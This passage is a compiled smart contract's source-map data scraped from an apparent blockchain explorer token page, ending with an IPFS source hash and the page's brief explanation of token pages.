3508:139;;;;:::o;3653:474::-;3721:6;3729;3778:2;3766:9;3757:7;3753:23;3749:32;3746:119;;;3784:79;;:::i;:::-;3746:119;3904:1;3929:53;3974:7;3965:6;3954:9;3950:22;3929:53;:::i;:::-;3919:63;;3875:117;4031:2;4057:53;4102:7;4093:6;4082:9;4078:22;4057:53;:::i;:::-;4047:63;;4002:118;3653:474;;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:765::-;5626:6;5634;5642;5650;5699:3;5687:9;5678:7;5674:23;5670:33;5667:120;;;5706:79;;:::i;:::-;5667:120;5826:1;5851:53;5896:7;5887:6;5876:9;5872:22;5851:53;:::i;:::-;5841:63;;5797:117;5953:2;5979:53;6024:7;6015:6;6004:9;6000:22;5979:53;:::i;:::-;5969:63;;5924:118;6081:2;6107:53;6152:7;6143:6;6132:9;6128:22;6107:53;:::i;:::-;6097:63;;6052:118;6209:2;6235:53;6280:7;6271:6;6260:9;6256:22;6235:53;:::i;:::-;6225:63;;6180:118;5540:765;;;;;;;:::o;6311:116::-;6381:21;6396:5;6381:21;:::i;:::-;6374:5;6371:32;6361:60;;6417:1;6414;6407:12;6361:60;6311:116;:::o;6433:133::-;6476:5;6514:6;6501:20;6492:29;;6530:30;6554:5;6530:30;:::i;:::-;6433:133;;;;:::o;6572:468::-;6637:6;6645;6694:2;6682:9;6673:7;6669:23;6665:32;6662:119;;;6700:79;;:::i;:::-;6662:119;6820:1;6845:53;6890:7;6881:6;6870:9;6866:22;6845:53;:::i;:::-;6835:63;;6791:117;6947:2;6973:50;7015:7;7006:6;6995:9;6991:22;6973:50;:::i;:::-;6963:60;;6918:115;6572:468;;;;;:::o;7046:553::-;7223:4;7261:3;7250:9;7246:19;7238:27;;7275:71;7343:1;7332:9;7328:17;7319:6;7275:71;:::i;:::-;7356:72;7424:2;7413:9;7409:18;7400:6;7356:72;:::i;:::-;7438;7506:2;7495:9;7491:18;7482:6;7438:72;:::i;:::-;7520;7588:2;7577:9;7573:18;7564:6;7520:72;:::i;:::-;7046:553;;;;;;;:::o;7605:664::-;7810:4;7848:3;7837:9;7833:19;7825:27;;7862:71;7930:1;7919:9;7915:17;7906:6;7862:71;:::i;:::-;7943:72;8011:2;8000:9;7996:18;7987:6;7943:72;:::i;:::-;8025;8093:2;8082:9;8078:18;8069:6;8025:72;:::i;:::-;8107;8175:2;8164:9;8160:18;8151:6;8107:72;:::i;:::-;8189:73;8257:3;8246:9;8242:19;8233:6;8189:73;:::i;:::-;7605:664;;;;;;;;:::o;8275:613::-;8349:6;8357;8365;8414:2;8402:9;8393:7;8389:23;8385:32;8382:119;;;8420:79;;:::i;:::-;8382:119;8540:1;8565:50;8607:7;8598:6;8587:9;8583:22;8565:50;:::i;:::-;8555:60;;8511:114;8664:2;8690:53;8735:7;8726:6;8715:9;8711:22;8690:53;:::i;:::-;8680:63;;8635:118;8792:2;8818:53;8863:7;8854:6;8843:9;8839:22;8818:53;:::i;:::-;8808:63;;8763:118;8275:613;;;;;:::o;8894:474::-;8962:6;8970;9019:2;9007:9;8998:7;8994:23;8990:32;8987:119;;;9025:79;;:::i;:::-;8987:119;9145:1;9170:53;9215:7;9206:6;9195:9;9191:22;9170:53;:::i;:::-;9160:63;;9116:117;9272:2;9298:53;9343:7;9334:6;9323:9;9319:22;9298:53;:::i;:::-;9288:63;;9243:118;8894:474;;;;;:::o;9374:104::-;9419:7;9448:24;9466:5;9448:24;:::i;:::-;9437:35;;9374:104;;;:::o;9484:138::-;9565:32;9591:5;9565:32;:::i;:::-;9558:5;9555:43;9545:71;;9612:1;9609;9602:12;9545:71;9484:138;:::o;9628:155::-;9682:5;9720:6;9707:20;9698:29;;9736:41;9771:5;9736:41;:::i;:::-;9628:155;;;;:::o;9789:345::-;9856:6;9905:2;9893:9;9884:7;9880:23;9876:32;9873:119;;;9911:79;;:::i;:::-;9873:119;10031:1;10056:61;10109:7;10100:6;10089:9;10085:22;10056:61;:::i;:::-;10046:71;;10002:125;9789:345;;;;:::o;10140:60::-;10168:3;10189:5;10182:12;;10140:60;;;:::o;10206:142::-;10256:9;10289:53;10307:34;10316:24;10334:5;10316:24;:::i;:::-;10307:34;:::i;:::-;10289:53;:::i;:::-;10276:66;;10206:142;;;:::o;10354:126::-;10404:9;10437:37;10468:5;10437:37;:::i;:::-;10424:50;;10354:126;;;:::o;10486:152::-;10562:9;10595:37;10626:5;10595:37;:::i;:::-;10582:50;;10486:152;;;:::o;10644:183::-;10757:63;10814:5;10757:63;:::i;:::-;10752:3;10745:76;10644:183;;:::o;10833:274::-;10952:4;10990:2;10979:9;10975:18;10967:26;;11003:97;11097:1;11086:9;11082:17;11073:6;11003:97;:::i;:::-;10833:274;;;;:::o;11113:180::-;11161:77;11158:1;11151:88;11258:4;11255:1;11248:15;11282:4;11279:1;11272:15;11299:320;11343:6;11380:1;11374:4;11370:12;11360:22;;11427:1;11421:4;11417:12;11448:18;11438:81;;11504:4;11496:6;11492:17;11482:27;;11438:81;11566:2;11558:6;11555:14;11535:18;11532:38;11529:84;;11585:18;;:::i;:::-;11529:84;11350:269;11299:320;;;:::o;11625:180::-;11673:77;11670:1;11663:88;11770:4;11767:1;11760:15;11794:4;11791:1;11784:15;11811:194;11851:4;11871:20;11889:1;11871:20;:::i;:::-;11866:25;;11905:20;11923:1;11905:20;:::i;:::-;11900:25;;11949:1;11946;11942:9;11934:17;;11973:1;11967:4;11964:11;11961:37;;;11978:18;;:::i;:::-;11961:37;11811:194;;;;:::o;12011:182::-;12151:34;12147:1;12139:6;12135:14;12128:58;12011:182;:::o;12199:366::-;12341:3;12362:67;12426:2;12421:3;12362:67;:::i;:::-;12355:74;;12438:93;12527:3;12438:93;:::i;:::-;12556:2;12551:3;12547:12;12540:19;;12199:366;;;:::o;12571:419::-;12737:4;12775:2;12764:9;12760:18;12752:26;;12824:9;12818:4;12814:20;12810:1;12799:9;12795:17;12788:47;12852:131;12978:4;12852:131;:::i;:::-;12844:139;;12571:419;;;:::o;12996:159::-;13136:11;13132:1;13124:6;13120:14;13113:35;12996:159;:::o;13161:365::-;13303:3;13324:66;13388:1;13383:3;13324:66;:::i;:::-;13317:73;;13399:93;13488:3;13399:93;:::i;:::-;13517:2;13512:3;13508:12;13501:19;;13161:365;;;:::o;13532:419::-;13698:4;13736:2;13725:9;13721:18;13713:26;;13785:9;13779:4;13775:20;13771:1;13760:9;13756:17;13749:47;13813:131;13939:4;13813:131;:::i;:::-;13805:139;;13532:419;;;:::o;13957:161::-;14097:13;14093:1;14085:6;14081:14;14074:37;13957:161;:::o;14124:366::-;14266:3;14287:67;14351:2;14346:3;14287:67;:::i;:::-;14280:74;;14363:93;14452:3;14363:93;:::i;:::-;14481:2;14476:3;14472:12;14465:19;;14124:366;;;:::o;14496:419::-;14662:4;14700:2;14689:9;14685:18;14677:26;;14749:9;14743:4;14739:20;14735:1;14724:9;14720:17;14713:47;14777:131;14903:4;14777:131;:::i;:::-;14769:139;;14496:419;;;:::o;14921:102::-;14963:8;15010:5;15007:1;15003:13;14982:34;;14921:102;;;:::o;15029:848::-;15090:5;15097:4;15121:6;15112:15;;15145:5;15136:14;;15159:712;15180:1;15170:8;15167:15;15159:712;;;15275:4;15270:3;15266:14;15260:4;15257:24;15254:50;;;15284:18;;:::i;:::-;15254:50;15334:1;15324:8;15320:16;15317:451;;;15749:4;15742:5;15738:16;15729:25;;15317:451;15799:4;15793;15789:15;15781:23;;15829:32;15852:8;15829:32;:::i;:::-;15817:44;;15159:712;;;15029:848;;;;;;;:::o;15883:1073::-;15937:5;16128:8;16118:40;;16149:1;16140:10;;16151:5;;16118:40;16177:4;16167:36;;16194:1;16185:10;;16196:5;;16167:36;16263:4;16311:1;16306:27;;;;16347:1;16342:191;;;;16256:277;;16306:27;16324:1;16315:10;;16326:5;;;16342:191;16387:3;16377:8;16374:17;16371:43;;;16394:18;;:::i;:::-;16371:43;16443:8;16440:1;16436:16;16427:25;;16478:3;16471:5;16468:14;16465:40;;;16485:18;;:::i;:::-;16465:40;16518:5;;;16256:277;;16642:2;16632:8;16629:16;16623:3;16617:4;16614:13;16610:36;16592:2;16582:8;16579:16;16574:2;16568:4;16565:12;16561:35;16545:111;16542:246;;;16698:8;16692:4;16688:19;16679:28;;16733:3;16726:5;16723:14;16720:40;;;16740:18;;:::i;:::-;16720:40;16773:5;;16542:246;16813:42;16851:3;16841:8;16835:4;16832:1;16813:42;:::i;:::-;16798:57;;;;16887:4;16882:3;16878:14;16871:5;16868:25;16865:51;;;16896:18;;:::i;:::-;16865:51;16945:4;16938:5;16934:16;16925:25;;15883:1073;;;;;;:::o;16962:281::-;17020:5;17044:23;17062:4;17044:23;:::i;:::-;17036:31;;17088:25;17104:8;17088:25;:::i;:::-;17076:37;;17132:104;17169:66;17159:8;17153:4;17132:104;:::i;:::-;17123:113;;16962:281;;;;:::o;17249:348::-;17289:7;17312:20;17330:1;17312:20;:::i;:::-;17307:25;;17346:20;17364:1;17346:20;:::i;:::-;17341:25;;17534:1;17466:66;17462:74;17459:1;17456:81;17451:1;17444:9;17437:17;17433:105;17430:131;;;17541:18;;:::i;:::-;17430:131;17589:1;17586;17582:9;17571:20;;17249:348;;;;:::o;17603:191::-;17643:3;17662:20;17680:1;17662:20;:::i;:::-;17657:25;;17696:20;17714:1;17696:20;:::i;:::-;17691:25;;17739:1;17736;17732:9;17725:16;;17760:3;17757:1;17754:10;17751:36;;;17767:18;;:::i;:::-;17751:36;17603:191;;;;:::o;17800:177::-;17940:29;17936:1;17928:6;17924:14;17917:53;17800:177;:::o;17983:366::-;18125:3;18146:67;18210:2;18205:3;18146:67;:::i;:::-;18139:74;;18222:93;18311:3;18222:93;:::i;:::-;18340:2;18335:3;18331:12;18324:19;;17983:366;;;:::o;18355:419::-;18521:4;18559:2;18548:9;18544:18;18536:26;;18608:9;18602:4;18598:20;18594:1;18583:9;18579:17;18572:47;18636:131;18762:4;18636:131;:::i;:::-;18628:139;;18355:419;;;:::o;18780:180::-;18828:77;18825:1;18818:88;18925:4;18922:1;18915:15;18949:4;18946:1;18939:15;18966:185;19006:1;19023:20;19041:1;19023:20;:::i;:::-;19018:25;;19057:20;19075:1;19057:20;:::i;:::-;19052:25;;19096:1;19086:35;;19101:18;;:::i;:::-;19086:35;19143:1;19140;19136:9;19131:14;;18966:185;;;;:::o;19157:180::-;19205:77;19202:1;19195:88;19302:4;19299:1;19292:15;19326:4;19323:1;19316:15;19343:180;19391:77;19388:1;19381:88;19488:4;19485:1;19478:15;19512:4;19509:1;19502:15;19529:143;19586:5;19617:6;19611:13;19602:22;;19633:33;19660:5;19633:33;:::i;:::-;19529:143;;;;:::o;19678:351::-;19748:6;19797:2;19785:9;19776:7;19772:23;19768:32;19765:119;;;19803:79;;:::i;:::-;19765:119;19923:1;19948:64;20004:7;19995:6;19984:9;19980:22;19948:64;:::i;:::-;19938:74;;19894:128;19678:351;;;;:::o;20035:85::-;20080:7;20109:5;20098:16;;20035:85;;;:::o;20126:158::-;20184:9;20217:61;20235:42;20244:32;20270:5;20244:32;:::i;:::-;20235:42;:::i;:::-;20217:61;:::i;:::-;20204:74;;20126:158;;;:::o;20290:147::-;20385:45;20424:5;20385:45;:::i;:::-;20380:3;20373:58;20290:147;;:::o;20443:114::-;20510:6;20544:5;20538:12;20528:22;;20443:114;;;:::o;20563:184::-;20662:11;20696:6;20691:3;20684:19;20736:4;20731:3;20727:14;20712:29;;20563:184;;;;:::o;20753:132::-;20820:4;20843:3;20835:11;;20873:4;20868:3;20864:14;20856:22;;20753:132;;;:::o;20891:108::-;20968:24;20986:5;20968:24;:::i;:::-;20963:3;20956:37;20891:108;;:::o;21005:179::-;21074:10;21095:46;21137:3;21129:6;21095:46;:::i;:::-;21173:4;21168:3;21164:14;21150:28;;21005:179;;;;:::o;21190:113::-;21260:4;21292;21287:3;21283:14;21275:22;;21190:113;;;:::o;21339:732::-;21458:3;21487:54;21535:5;21487:54;:::i;:::-;21557:86;21636:6;21631:3;21557:86;:::i;:::-;21550:93;;21667:56;21717:5;21667:56;:::i;:::-;21746:7;21777:1;21762:284;21787:6;21784:1;21781:13;21762:284;;;21863:6;21857:13;21890:63;21949:3;21934:13;21890:63;:::i;:::-;21883:70;;21976:60;22029:6;21976:60;:::i;:::-;21966:70;;21822:224;21809:1;21806;21802:9;21797:14;;21762:284;;;21766:14;22062:3;22055:10;;21463:608;;;21339:732;;;;:::o;22077:831::-;22340:4;22378:3;22367:9;22363:19;22355:27;;22392:71;22460:1;22449:9;22445:17;22436:6;22392:71;:::i;:::-;22473:80;22549:2;22538:9;22534:18;22525:6;22473:80;:::i;:::-;22600:9;22594:4;22590:20;22585:2;22574:9;22570:18;22563:48;22628:108;22731:4;22722:6;22628:108;:::i;:::-;22620:116;;22746:72;22814:2;22803:9;22799:18;22790:6;22746:72;:::i;:::-;22828:73;22896:3;22885:9;22881:19;22872:6;22828:73;:::i;:::-;22077:831;;;;;;;;:::o;22914:147::-;23015:11;23052:3;23037:18;;22914:147;;;;:::o;23067:114::-;;:::o;23187:398::-;23346:3;23367:83;23448:1;23443:3;23367:83;:::i;:::-;23360:90;;23459:93;23548:3;23459:93;:::i;:::-;23577:1;23572:3;23568:11;23561:18;;23187:398;;;:::o;23591:379::-;23775:3;23797:147;23940:3;23797:147;:::i;:::-;23790:154;;23961:3;23954:10;;23591:379;;;:::o;23976:807::-;24225:4;24263:3;24252:9;24248:19;24240:27;;24277:71;24345:1;24334:9;24330:17;24321:6;24277:71;:::i;:::-;24358:72;24426:2;24415:9;24411:18;24402:6;24358:72;:::i;:::-;24440:80;24516:2;24505:9;24501:18;24492:6;24440:80;:::i;:::-;24530;24606:2;24595:9;24591:18;24582:6;24530:80;:::i;:::-;24620:73;24688:3;24677:9;24673:19;24664:6;24620:73;:::i;:::-;24703;24771:3;24760:9;24756:19;24747:6;24703:73;:::i;:::-;23976:807;;;;;;;;;:::o;24789:143::-;24846:5;24877:6;24871:13;24862:22;;24893:33;24920:5;24893:33;:::i;:::-;24789:143;;;;:::o;24938:663::-;25026:6;25034;25042;25091:2;25079:9;25070:7;25066:23;25062:32;25059:119;;;25097:79;;:::i;:::-;25059:119;25217:1;25242:64;25298:7;25289:6;25278:9;25274:22;25242:64;:::i;:::-;25232:74;;25188:128;25355:2;25381:64;25437:7;25428:6;25417:9;25413:22;25381:64;:::i;:::-;25371:74;;25326:129;25494:2;25520:64;25576:7;25567:6;25556:9;25552:22;25520:64;:::i;:::-;25510:74;;25465:129;24938:663;;;;;:::o;25607:220::-;25747:34;25743:1;25735:6;25731:14;25724:58;25816:3;25811:2;25803:6;25799:15;25792:28;25607:220;:::o;25833:366::-;25975:3;25996:67;26060:2;26055:3;25996:67;:::i;:::-;25989:74;;26072:93;26161:3;26072:93;:::i;:::-;26190:2;26185:3;26181:12;26174:19;;25833:366;;;:::o;26205:419::-;26371:4;26409:2;26398:9;26394:18;26386:26;;26458:9;26452:4;26448:20;26444:1;26433:9;26429:17;26422:47;26486:131;26612:4;26486:131;:::i;:::-;26478:139;;26205:419;;;:::o

Swarm Source

ipfs://095fee0f72d5956b85d5b1f74aca977a4729ff2a3a3c2d35fa268f00262008c1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.